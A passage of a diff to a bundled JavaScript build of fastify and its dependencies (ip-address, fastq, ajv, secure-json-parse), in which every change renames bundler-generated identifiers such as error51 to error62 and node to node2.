(groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -7783,29 +7783,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -7816,36 +7816,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -8516,7 +8516,7 @@ var require_queue = __commonJS({ empty: noop3, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -8659,7 +8659,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -8927,23 +8927,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -9018,11 +9018,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -9045,12 +9045,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -9376,14 +9376,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -10812,8 +10812,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -10823,8 +10823,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -10863,8 +10863,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -10879,8 +10879,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -10924,8 +10924,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -10964,8 +10964,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -10993,8 +10993,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -11506,7 +11506,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -11521,7 +11521,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -11531,7 +11531,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -11670,7 +11670,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -11679,14 +11679,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -11697,22 +11697,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -11750,7 +11750,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -11809,7 +11809,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -11817,7 +11817,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -11825,7 +11825,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -11843,18 +11843,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -13532,15 +13532,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -13556,7 +13556,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -13612,12 +13612,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -13631,14 +13631,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -13650,14 +13650,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -13683,13 +13683,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -13701,11 +13701,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -14223,8 +14223,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -14325,15 +14325,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -14347,11 +14347,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -14364,13 +14364,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -14380,21 +14380,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -14410,18 +14410,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -14906,7 +14906,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -14928,7 +14928,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -15019,8 +15019,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -15318,18 +15318,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -16292,7 +16292,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -16309,7 +16309,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -16317,7 +16317,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -16758,24 +16758,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -16896,7 +16896,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -16938,25 +16938,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -16969,7 +16969,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -16978,7 +16978,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -17163,8 +17163,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -17182,12 +17182,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -17785,9 +17785,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -18024,9 +18024,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -18152,8 +18152,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -18202,10 +18202,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -18213,23 +18213,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -18267,13 +18267,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -18283,12 +18283,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -18298,9 +18298,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -18585,10 +18585,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -18596,10 +18596,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -18650,19 +18650,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) 